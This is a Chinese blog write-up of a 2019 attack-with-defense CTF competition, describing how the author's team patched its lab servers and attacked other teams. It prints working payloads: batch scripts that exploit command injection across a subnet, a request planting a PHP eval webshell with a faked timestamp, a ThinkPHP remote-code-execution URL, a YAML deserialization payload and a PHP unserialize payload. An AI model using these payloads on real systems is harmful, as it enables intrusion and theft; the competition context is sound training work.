2019 年 5 月 11 日,上个星期六,本人和幻影战队的两位队友去防灾科技学院参加了“应急挑战杯”大学生网络安全大学生网络安全邀请赛。本次比赛为 AWD 形式,这也是我们第一次打 AWD 比赛。在这个过程中边打边学,边调整策略,最后的结果也不错,第二名。也学到了蛮多东西,来写点东西记录下。

一、比赛过程

先拿到写有自己所属网络配置的纸,给电脑配置好网络之后立马连上靶场站点,进去之后看到有四台靶机。由于大家的靶机都是默认的 用户名 ubuntu,密码 123456的组合,所以立马先用靶场的 HTML5 VNC 把密码改了。改完之后就看了看靶机的网络配置,然后在自己电脑上用 SSH 连上靶机。

靶机的 IP 在 172.20.110.101~104(1 号~4 号靶机)。逐一连上然后查看开放的端口,101 靶机上锁开放的端口为 10000,推测其为PWN。102,103,104 靶机上都开了 80,那就是 Web 了。再在这三台靶机上看看运行的进程,102 靶机上为 Nginx + Python(Flask),103 靶机上为 Apache + PHP(ThinkPHP),104 靶机上为 Nginx + PHP。

到这里的时候,我们刚看完服务,就发现 104 靶机被其他队伍种了内存马(不理会 abort,跟着 PHP 进程走了),我们在 ubuntu 用户下尝试重启 服务来把马停掉,发现无法重启服务。尝试 sudo 发现切不到 root。

然后想着自己前一天下了一个安全狗,尝试安装,提示需要 root 用户,未果。

所以这里我们就先放一放,在容易有 Shell 的 PHP 靶机 103 和 104 下搜索 eval 和 system, 先把题目里留的 Shell 给删干净。然后我再回过头来看那个不死马,试了各种姿势都杀不掉,后来灵机一动,自己写个 Shell 上去,用蚁剑连上,点开虚拟终端,直接 ps -ef 看一下那个不死马的进程,再直接在里面 kill 掉就行了。因为咱们自己写的 Shell 通过 HTTP 服务器连进去也是和不死马一样都是 www-data 用户,同一用户下就可以很轻松杀掉了。

当我们解决掉不死马之后,各位师傅的第一波针对程序本身的攻击就开始了,我们一开始有点措手不及,后来想起来可以观察日志看看师傅们是如何打的。

看了看 102 和 104 的日志。发现 102 上师傅们访问得最多的是 /search 这个地址,那么就打开 102 的源码看看。

172.20.110.1 – – [11/May/2019:12:57:13 +0800] “POST /search HTTP/1.1” 200 1180 “-” “python-requests/2.21.0”

打开 Flaskshop/taobao/routes.py,看到 /search 这个路由。

@app.route('/search',methods=["GET","POST"])
def add():
    if request.method =="GET":
        return render_template("home.html")
    if request.method == "POST":
        url = request.form['search']
        msg = os.popen(url).read() 
        if not msg == '':
            return render_template("search.html", msg=msg)
        else:
            return render_template("search.html", msg="Error.Check your command.")

看到了吧,如果 POST 这个地址,会直接把 search 参数当命令执行,我们来试试。

看,这样就可以拿到 Flag 了。得先把自己这里修了,直接注释成这样即可。

@app.route('/search',methods=["GET","POST"])
def add():
    if request.method =="GET":
        return render_template("home.html")
    if request.method == "POST":
        url = request.form['search']
        # msg = os.popen(url).read() 
        msg = ''
        if not msg == '':
            return render_template("search.html", msg=msg)
        else:
            return render_template("search.html", msg="Error.Check your command.")

我看着还有个 /upload

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if request.method == 'POST':
        f = request.files['file']
        basepath = os.path.dirname(__file__)  # 当前文件所在路径
        upload_path = os.path.join(basepath,'static/uploads',f.filename)
        f.save(upload_path)
        if (os.path.splitext(f.filename)[1][1:] == 'yml'):
            load_file = os.path.abspath(upload_path)
            with open(load_file,"r") as data:
                msg=yaml.load(data.read())
                return render_template('upload.html',msg=msg)
        print ("OK, file uploaded successfully!")
        return redirect(url_for('upload'))
    return render_template('upload.html')

看着不顺眼,给注释了。

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if request.method == 'POST':
        # f = request.files['file']
        # basepath = os.path.dirname(__file__)  # 当前文件所在路径
        # upload_path = os.path.join(basepath,'static/uploads',f.filename)
        # f.save(upload_path)
        # if (os.path.splitext(f.filename)[1][1:] == 'yml'):
        #     load_file = os.path.abspath(upload_path)
        #     with open(load_file,"r") as data:
        #         msg=yaml.load(data.read())
        #         return render_template('upload.html',msg=msg)
        print ("OK, file uploaded successfully!")
        return redirect(url_for('upload'))
    return render_template('upload.html')

改完了直接把进程里的 python 给 kill 掉然后 python run.py 一下重启程序即可。

再来写个脚本扫全场上分。

import requests


def readWebcamera(ip=""):
    try:
        r = requests.post('http://' + ip + '/search', data={'search': 'cat /flag.txt'}, timeout=5)

        print(ip)
        print(r.text)
    except:
        pass


for i in range(101, 125):
    readWebcamera("172.20." + str(i) + ".102")

这个脚本我们一直用到了比赛结束都特别管用,大家基本都没修。靠着这个上了许多分。

然后再来看看104,104 有个 ping 的日志很奇怪。

172.20.102.2 – – [11/May/2019:11:13:58 +0800] “POST /index.php?c=User&a=ping HTTP/1.1” 200 62 “-” “python-requests/2.21.0”

一直访问 ping?先打开 index.php 看看。

<?php
include "./common/function.php";
include "./include/config.php";
include "./lib/base.php";
include "./include/log1.php";


ini_set("display_errors","On");

$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';

$obj=run_c($c);
run_a($obj,$a);
?>

发现是个入口,还得到 lib 还有 include 还有 common 目录下看看,

到 lib 目录下找到了 User.php,打开看看,发下 ping 那个函数特别危险,对于输入的参数没有过滤,直接拼接上就执行,找死。

function ping(){
    	$host = $_POST['host'];
        system("ping -c $host");
    }

来试试写个马。

POST /index.php?c=User& a=ping HTTP/1.1
Host: localhost:18894
cache-control: no-cache
Postman-Token: ec507dd2-239f-42c2-8e88-a7bc401da0ba
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="host"

127.0.0.1|echo '<?php eval($_POST[glzjin]);' > /var/www/html/common/helper.php | touch -m -d "2019-4-12 10:21:26" /var/www/html/common/helper.php
------WebKitFormBoundary7MA4YWxkTrZu0gW--

请求下,发现 /var/www/html/common/ 下出现了 helper.php,蚁剑连上试试。

修复很简单,直接把 system 那行给注释了。

还有,看着 log1.php 不顺眼,给删了。

ok,写个脚本继续批量收割。

import requests


def readWebcamera(ip=""):
    try:
        r = requests.post('http://' + ip + '/index.php?c=User&a=ping', data={'host': "127.0.0.1|echo '<?php eval($_POST[glzjin]);' > /var/www/html/common/helper.php | touch -m -d "2019-4-12 10:21:26" /var/www/html/common/helper.php"}, timeout=5)
        # print(r.text)
        r = requests.post('http://' + ip + '/lib/helper.php', data={'glzjin': "echo file_get_contents('/flag.txt');"})


        print(ip)
        print(r.text)
    except:
        pass


for i in range(101, 125):
    readWebcamera("172.20." + str(i) + ".104")

再来看看 103,103 其实有点蛋疼,我队友在尽力修了,但还是挨人打,想去看日志,发现没权限。

一开始做得有点绝,直接把路由锁定在 Home了,结果裁判过来说 check 宕机了,看来不能这样修复。

后来想着自己在入口的 public/index.php 里加个日志记录,把师傅们的攻击记录下来。

$filename="logs.txt";
$handle=fopen($filename,"a+");
$str=fwrite($handle,"$_SERVER[REQUEST_URI]\n");
fclose($handle);

然后 logs.txt 里就有日志了。

/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag.txt

发现是 ThinkPHP 的漏洞,这里我那时没上网查,就直接把带 function 参数的请求给 ban 了。

if(isset($_GET['function'])) {
  die(':)');
}

然后继续用这个来割韭菜。

import requests


def readWebcamera(ip=""):
    try:
        r = requests.get('http://' + ip + '/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag.txt')


        print(ip)
        print(r.text)
    except:
        pass


for i in range(101, 125):
    readWebcamera("172.20." + str(i) + ".103")

接下来基本就是等每一轮 Flag 更新,然后用这些脚本上分了。

中间有个小插曲,103 由于很多人的修复方式都似乎是把 flag 这个关键词给屏蔽了,但却没有注意到这里的关键是 RCE,导致后面很多人的首页被改成了 “jinitaimei”,check 那挨扣了多少分我就不知道咯。

然后就是因为104这台靶机被其他队伍修得最快,没韭菜了,最后太无聊在审代码,发现 common/home.php 这里有个反序列化。

<?php

class home{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        
      
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
        }
    }   
}
     $a=@$_POST['a'];
    @unserialize($a);
    ?>

反序列化之后析构的时候回去执行 ping,ping 里又是一个 system,那么我们是不是能利用上呢?

那时候原本想利用这个来写 shell,本地测试的时候发现 wakeup 无论是改成员变量数啥的都绕不过去。这时里比赛结束还有十分钟,就作罢了。

关于 1 号靶机的 pwn,时间紧迫- -自己 pwn 也不行,就没去看了。

比赛结束,排名第二。

二、赛后技术复盘

首先我利用自己一开始的备份文件制作了四个镜像,原始文件在 Github 上。

https://github.com/glzjin/20190511_awd_docker

然后我将打包好的镜像上传到了 DockerHub,可以直接搜索到然后再自己的机器上部署。

在我做完这些工作之后,官方也发了 WriteUp,地址如下。

https://github.com/GinkgoTeam/YJTZB_2019

翻了翻 WriteUp,PWN 那里看了看,拿 exp 跑了跑。

再来就是 2 号靶机 Python 那道题,也很庆幸自己把 upload 那里给注释了,原来那里那个 yml 真有可以利用的地方,自己对于 Flask 的这些点还是不熟悉,得多多练习一下。

POC:

!!python/object/apply:subprocess.check_output [["cat","/flag.txt"]]

上传之后:

不过说实话这道题 SSTI 这里我自己测试就报错了,有空得好好看看这里。

再来就是 3 号靶机上的 ThinkPHP 那道题,我们也没怎么好好的审代码了,基本就是兵来将挡水来土掩的模式,等着别人来打了修了,真要看起来除了 WriteUp 第一点的漏洞,特别是第二点,还是得审代码才能得出来,也得亏后来师傅们没有利用这个漏洞来打,要不然真的不好从日志里面查。

最后是 4 号靶机,看了看 WriteUp 也辛亏自己当时把 log 相关的文件都给删了,那时候没仔细审凭着直觉直接把那个删了,现在仔细一看居然写到 php 里,当然不行。

还有个内置过狗一句话,不过这个我在比赛时备份的文件并没有找到,后来官方的文件里倒是找到了,不过他对 eval 没有混淆也还算好了。能直接搜索出来然后人工审删了。

phar 这个点自己在平时打其他 CTF 的时候也常常遇到,时间有点紧,估计以后可以写点东西来总结一下怎么利用。

接着上面说没利用成功的反序列化那里,wakeup的绕过需要特定的 PHP 版本,如果不绕过 wakeup 空格会被替换,那么这里我们可以参考如下链接利用 Linux 变量 ${IFS} 来当空格,这样就可以拿到 flag 了。

https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/

Payload:

a传如下内容

O:4:"home":2:{s:12:"homemethod";s:4:"ping";s:10:"homeargs";a:1:{i:0;s:20:"1|cat${IFS}/flag.txt";}}
curl -X POST \
                      http://localhost:18894/common/home.php \
                      -H 'Content-Type: application/x-www-form-urlencoded' \
                      -H 'Postman-Token: ca102ebb-55d6-450f-9a81-2b2417db3110' \
                      -H 'cache-control: no-cache' \
                      -d 'a=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A20%3A%221%7Ccat%24%7BIFS%7D%2Fflag.txt%22%3B%7D%7D'

三、总结与反思

有技术上的反思,也有其他方面的。

1. 以前运维的活儿没白干,做运维积累的知识对于打这种比赛的防守和反攻很有用。

2. 这把第一次打 AWD,有点慌,一开始手也不快,一开始有落后,但其实真不用慌,稳扎稳打,利用好后发优势,分析别人打过来的流量,借刀杀人

3. 即便能借刀杀人,也不能安于现状,自己也得去审代码,争取主动权和优势。上面这个反序列化要是能早点发现估计还能拿一波分。

4. 做好工具的积累,比如说这一把安全狗装不上,就想办法在 php 上挂 waf,记录不了日志就从 php 程序本身下手,尽早记录,尽早修复,尽早反攻。

5. 关于如何修复:一个是不要修的太过火,会被裁判警告和扣分,还有就是得修复问题的本质而不是表象,就比如上面最后蛮多队伍都被修改首页了,推测他们之前的修复就是只屏蔽了 flag 这个关键词,但这里的问题是 RCE 呀,光不允许读取 Flag 没用呀-.-注意宕个机比被拿 flag 扣的分更多-.-

6. 做好操作流程的整理,在队内形成规范。

最后,感谢防灾科技学院的师傅们提供比赛的机会,感谢队友们的配合,轮流上分不能更爽。总体来说比赛还是挺紧张刺激的,下次有机会再打 AWD 感受感受吧。